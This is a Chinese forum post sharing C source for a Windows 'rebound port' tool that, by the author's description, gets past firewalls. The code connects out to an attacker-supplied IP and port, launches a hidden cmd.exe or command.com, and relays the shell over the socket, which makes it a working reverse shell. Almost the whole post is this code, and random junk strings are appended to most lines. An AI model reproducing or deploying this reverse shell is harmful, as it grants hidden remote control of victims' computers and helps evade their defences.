社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 6658阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 C:uz6i1  
R-RDT9&<  
/* ============================== XgxX.`H7  
Rebound port in Windows NT TeWMp6u,r  
By wind,2006/7 Pf$pt  
===============================*/ e+]6OV&+  
#include sz9G3artK&  
#include HoLv`JA  
(__yh^h:m  
#pragma comment(lib,"wsock32.lib") Z1h]  
uu/+.9  
void OutputShell(); +MB!B9M@  
SOCKET sClient; #!9S}b$  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; UDe |Sb  
[Cb` {  
void main(int argc,char **argv) 78Aa|AJU  
{ +dP L>R  
WSADATA stWsaData; v @O&t4  
int nRet; N~?{UOZd  
SOCKADDR_IN stSaiClient,stSaiServer; Y'u7 IX}  
}HG#s4  
if(argc != 3) $%%os6y2v  
{ X<MO7I  
printf("Useage:\n\rRebound DestIP DestPort\n"); #k$)i[aI-  
return; O$g_@B0E1  
} HeK h>  
8`]=C~ G  
WSAStartup(MAKEWORD(2,2),&stWsaData); QeDQ o  
t'~/$=9}  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); .,i(2^  
2qHf'  
stSaiClient.sin_family = AF_INET; o%4Gd~  
stSaiClient.sin_port = htons(0); t9_E$w^U  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); |w*R8ro_  
1TM~*<Jb  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) T?p`)  
{ z**hD2R!  
printf("Bind Socket Failed!\n"); 0vGyI>  
return; Ln.ZVMZ;  
} e*  
#"ftI7=42  
stSaiServer.sin_family = AF_INET; ?,=f\Fz!  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ;@nFVy>U  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ]O` {dnP  
`$604+G  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) !~ZP{IXyo  
{ <N(oDaU  
printf("Connect Error!"); Gs*G<P"  
return; ]}mxY vu_i  
} $2MAZGJV  
OutputShell(); Q*YYTmZ  
} FkqQf8HB  
6QNs\Ucb+  
void OutputShell() *<'M!iRC  
{ e/8z+H^H  
char szBuff[1024]; M|[ZpM+  
SECURITY_ATTRIBUTES stSecurityAttributes; a1.|X i'/z  
OSVERSIONINFO stOsversionInfo; `T2<<<  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; a{!r`>I\f  
STARTUPINFO stStartupInfo; \]Dt4o*yZ  
char *szShell; @cq`:_.[  
PROCESS_INFORMATION stProcessInformation; hKlZi!4J  
unsigned long lBytesRead; D\~e&0*  
6] z}#"  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); m9md|yS  
{S<>&?XB  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); -#29xRPk  
stSecurityAttributes.lpSecurityDescriptor = 0; dp5f7>]:(  
stSecurityAttributes.bInheritHandle = TRUE; ; U`X 6d  
Bd3~EbFL  
r,N[)@  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 4.K'\S  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); XjE>k!=I  
ibdO*E  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); (X6sSO  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tVqmn  
stStartupInfo.wShowWindow = SW_HIDE; cE{ =(OQ  
stStartupInfo.hStdInput = hReadPipe; [<wbbvXR  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 8V$3b?]  
-@IL"U6  
GetVersionEx(&stOsversionInfo); nMoWOP'  
|c2v%'J2G  
switch(stOsversionInfo.dwPlatformId) ArI]`h'W  
{ y_}SK6{  
case 1: gor <g))\  
szShell = "command.com"; *OdX u&5  
break; Ae?e 70bY  
default: M;Wha;%E"  
szShell = "cmd.exe"; Hh kN^S,  
break; `BnP[jF  
} hxC!+ArVe  
*C,N'M<u  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); =f:(r'm?r.  
Y'Z+, CNf  
send(sClient,szMsg,77,0); ~ E=\t9r  
while(1) f]d!hz!  
{ {*/dD`  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); -)<m S  
if(lBytesRead) U&y`-@A4  
{ c-5jYwV  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 5]7&IDA]]9  
send(sClient,szBuff,lBytesRead,0); Z,WW]Y,$  
} =V|Nn0E  
else "]t>ZT:OJ  
{ ~2/{3m{3A  
lBytesRead=recv(sClient,szBuff,1024,0); Y5-kj,CB  
if(lBytesRead<=0) break; qSQ@p\O~  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); vv 7+ >%  
} K@@9:T$  
} LxT rG)4  
oA~4p(  
return; <]8^J}8T{D  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八